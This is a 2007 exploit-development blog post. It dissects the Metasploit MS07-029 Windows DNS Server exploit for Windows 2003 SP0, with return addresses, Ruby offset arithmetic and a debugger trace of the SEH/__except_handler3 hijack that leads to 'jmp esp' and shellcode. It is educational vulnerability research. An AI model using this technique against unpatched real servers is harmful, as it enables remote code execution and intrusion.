Software Vulnerability Exploitation Blog

Wednesday, July 04, 2007

MS07-029 Series - Part 3: Exploiting the DNS Server holes on Windows 2003 Server SP0 - __except_handler3 method

This is the third post in MS07-029 series and the second post about how to exploit this vulnerability in Windows 2003 Server environment. However, instead of discuss about Windows 2003 Server SP1/SP2 same as the last post, in this post I will describe about the exploitation technique in Windows 2003 Server SP0 - __except_handler3 method.

What's __except_handler3 ? It is the code that exception handler pointer in every EXCEPTION_REGISTRATION on the stack point to. It's always called when the exception handler is activated. I suggest you read this research to understand the concept how we can use __except_handler3 in the SEH exploitation.

Now, I will start the research by looking the metasploit code for Windows 2003 Server SP0 target in msdns_zonename.rb:

[ 'Windows 2003 Server SP0 English', { 'OS' => '2003SP0', 'Off' => 1593, 'Rets' => [0x77f45a34 , 0x77f7e7f0, 0x76a935bf] } ]

The first question about the code is that why there are 3 return addresses on the target. The address 0x77f45a34 is the address of __except_handler3 in Windows 2003 Server SP0.

The address 0x76a935bf is the address of "jmp esp" instruction in ATL.dll. For 0x77f7e7f0, I will describe it later because I think it would be clear how many important of this address if I use it in the real situation.

there is another code section that I have to try to understand:

# addr = A + B*12 + 4 = 0x77f7e7f0 (ntdll -> 0x77f443c9)

addr = mytarget['Rets'][1] - 4

addr1 = addr / 2

addr2 = addr1 + addr % 2

addr1 = addr1 + (addr2 % 12)

addr2 = addr2 / 12


txt[ off + 4, 8] = [addr1, addr2].pack('VV') # A,B


The function of this code is to find the value of A and B that make A + B * 12 + 4 = 0x77f7e7f0 - the second return address of this target. After this calculation the addr1/A is 0x3bfbf400 and addr2/B is 0x04ffa9a9. The address 0x77f7e7f0 stored the value 0x77f44ec9. I try disassemble 0x77f44ec9:

ntdll!memcpy+0x143:
77f443c9 ff249510e8f777 jmp dword ptr ntdll!memcpy+0x14c (77f7e810)[edx*4]

77f443d0 8b4508 mov eax,dword ptr [ebp+8]

77f443d3 5e pop esi

77f443d4 5f pop edi

77f443d5 c9 leave

77f443d6 c3 ret


Its function is do a little thing and then jump the the address that stored on the stack. Don't mind if you don't know the important of the address at this time. I will describe later about it.

Before I'm going to the debugging phase, I have to find out what's the equation A + B * 12 + 4 = 0x77f7e7f0. I decide disassemble __except_handler3:

ntdll!_except_handler3:
77f45a34 55 push ebp
77f45a35 8bec mov ebp,esp
77f45a37 83ec08 sub esp,8
...

0:006> u
ntdll!_except_handler3+0xb:

77f45a3f 8b5d0c mov ebx,dword ptr [ebp+0Ch]

...

0:006> u
ntdll!_except_handler3+0x2a:

77f45a5e 8943fc mov dword ptr [ebx-4],eax

77f45a61 8b730c
mov esi,dword ptr [ebx+0Ch]
77f45a64 8b7b08
mov edi,dword ptr [ebx+8]
...

0:006> u
ntdll!_except_handler3+0x41:
77f45a75 8d0c76 lea ecx,[esi+esi*2]
77f45a78 8b448f04 mov eax,dword ptr [edi+ecx*4+4]
77f45a7c 0bc0 or eax,eax
...

0:006> u
ntdll!_except_handler3+0x53:
77f45a87 33c9 xor ecx,ecx
77f45a89 33d2 xor edx,edx
...
77f45a8f ffd0 call eax
...

If you have already read EEYE paper, you will see that if we can control the value of eax, we will able to use the instruction "call eax" at the address 0x77f45a8f to jump to our payload or something like that. To control the eax, we have to control the value of edi + ecx*4 + 4 at the address 0x77f45a78. At this address the eax value is copied with the value stored in edi + ecx*4 + 4. Because we have to set eax to the value 0x77f44ec9 which stored at 0x77f7e7f0, so we get the equation:

edi + ecx * 4 + 4 = 0x77f7e7f0.

Now look at the address 0x77f45a75, the instruction lea ecx, [esi + esi * 2]. This instruction is equivalent to move the value esi * 3 to ecx. I replace ecx with esi * 3 in the equation:

edi + (esi * 3) * 4 + 4 = 0x77f7e7f0 --> edi + esi * 12 + 4 = 0x77f7e7f0

Do you remember the new equation ? Yes, it is A + B * 12 + 4 = 0x77f7e7f0 where edi = A and esi = B.

Now, I start the debugging phase. I set break point at 0x77f45a34 - __except_handler3 and run the exploit:

...
ntdll!_except_handler3+0xb:

77f45a3f 8b5d0c mov ebx,dword ptr [ebp+0Ch] ss:0023:0118f318=0118fd54


0:006> dd ebp + c

0118f318 0118fd54 0118f410 0118f3cc 0118fd54


...

0:006> dd 0118fd54

0118fd54 424216eb 77f45a34 3bfbf400 04ffa9a9

0118fd64 42424242 76a935bf fff9b0e9 424242ff

0118fd74 42424242 42424242 42424242 42424242f


The instruction at address 0x77f45a3f is the instruction that set ebx with the value pointed by ebp + 0xc. Now ebx is value 0x0118fd54 and point to our payload. The bold green highlighted value is the value of the first return address, 0x77f45a34 - __except_handler3. The bold brown highlighted value is the value of A and B that make A + B * 12 + 4 = 0x77f7e7f0 - the second return address. The bold orange value is the value of "jmp esp" in ATL.DLL.


ntdll!_except_handler3+0x2d:

77f45a61 8b730c mov esi,dword ptr [ebx+0Ch] ds:0023:0118fd60=04ffa9a9


0:006> dd ebx + C

0118fd60 04ffa9a9 42424242 76a935bf fff9b0e9

0118fd70 424242ff 42424242 42424242 42424242


...

eax=0118f304 ebx=0118fd54 ecx=77f45a34 edx=77f68ad0 esi=04ffa9a9 edi=00000000
eip=77f45a64 esp=0118f2f4 ebp=0118f30c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

The value of esi now is 0x04ffa9a9 - addr2 - at the instruction ntdll!__except_handler3 + 0x2d.

ntdll!_except_handler3+0x30:
77f45a64 8b7b08 mov edi,dword ptr [ebx+8] ds:0023:0118fd5c=3bfbf400

0:006> dd ebx + 8
0118fd5c 3bfbf400 04ffa9a9 42424242 76a935bf
0118fd6c fff9b0e9 424242ff 42424242 42424242

...
eax=0118f304 ebx=0118fd54 ecx=77f45a34 edx=77f68ad0 esi=04ffa9a9 edi=3bfbf400
eip=77f45a67 esp=0118f2f4 ebp=0118f30c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

Now edi is 0x3bfbf400 - the addr1.

ntdll!_except_handler3+0x44:
77f45a78 8b448f04 mov eax,dword ptr [edi+ecx*4+4] ds:0023:77f7e7f0=77f443c9

0:006> p
eax=77f443c9 ebx=0118fd54 ecx=0efefcfb edx=77f68ad0 esi=04ffa9a9 edi=3bfbf400
eip=77f45a7c esp=0118f2f4 ebp=0118f30c iopl=0 nv up ei pl nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000217

At ntdll!__except_handler3 + 0x44, eax is set to 0x77f443c9.

0:006> p
eax=77f443c9 ebx=00000000 ecx=00000000 edx=00000000 esi=00000000 edi=00000000
eip=77f45a8f esp=0118f2ec ebp=0118fd64 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

ntdll!_except_handler3+0x5b:
77f45a8f ffd0 call eax {ntdll!memcpy+0x143 (77f443c9)}

0:006> bp 77f443c9

0:006> p
Breakpoint 1 hit
eax=77f443c9 ebx=00000000 ecx=00000000 edx=00000000 esi=00000000 edi=00000000
eip=77f443c9 esp=0118f2e8 ebp=0118fd64 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

ntdll!memcpy+0x143:
77f443c9 ff249510e8f777 jmp dword ptr ntdll!memcpy+0x14c (77f7e810)[edx*4] ds:0023:77f7e810=77f443d0

...
0:006> p

eax=fff9b0e9 ebx=00000000 ecx=00000000 edx=00000000 esi=77f45a91 edi=0118f30c

eip=77f443d6 esp=0118fd68 ebp=42424242 iopl=0
nv up ei pl zr na pe nc
cs=001b
ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

ntdll!memcpy+0x162:
77f443d6 c3 ret

...
0:006> dd esp
0118fd68 76a935bf fff9b0e9 424242ff 42424242
0118fd78 42424242 42424242 42424242 42424242

The flow of execution reach at the address 0x77f443d6 - the ret instruction. This instruction is equivalent to jump to the value stored on the stack. So the flow of execution will transfer to 0x76a935bf - jmp esp on ATL.dll.

0:006> u 76a935bf
ATL!__pfnDliNotifyHook2 (ATL+0x135bf):
76a935bf ffe4 jmp esp

0:006> u esp
0118fd6c e9b0f9ffff jmp 0118f721
0118fd71 42 inc edx
0118fd72 42 inc edx
0118fd73 42 inc edx

0:006> u 0118f721
0118f721 cc int 3
0118f722 cc int 3

When jmp to esp, we will see the instruction jmp 0x0118f721 which jump to our shellcode :)

0 Comments:

Post a Comment

<< Home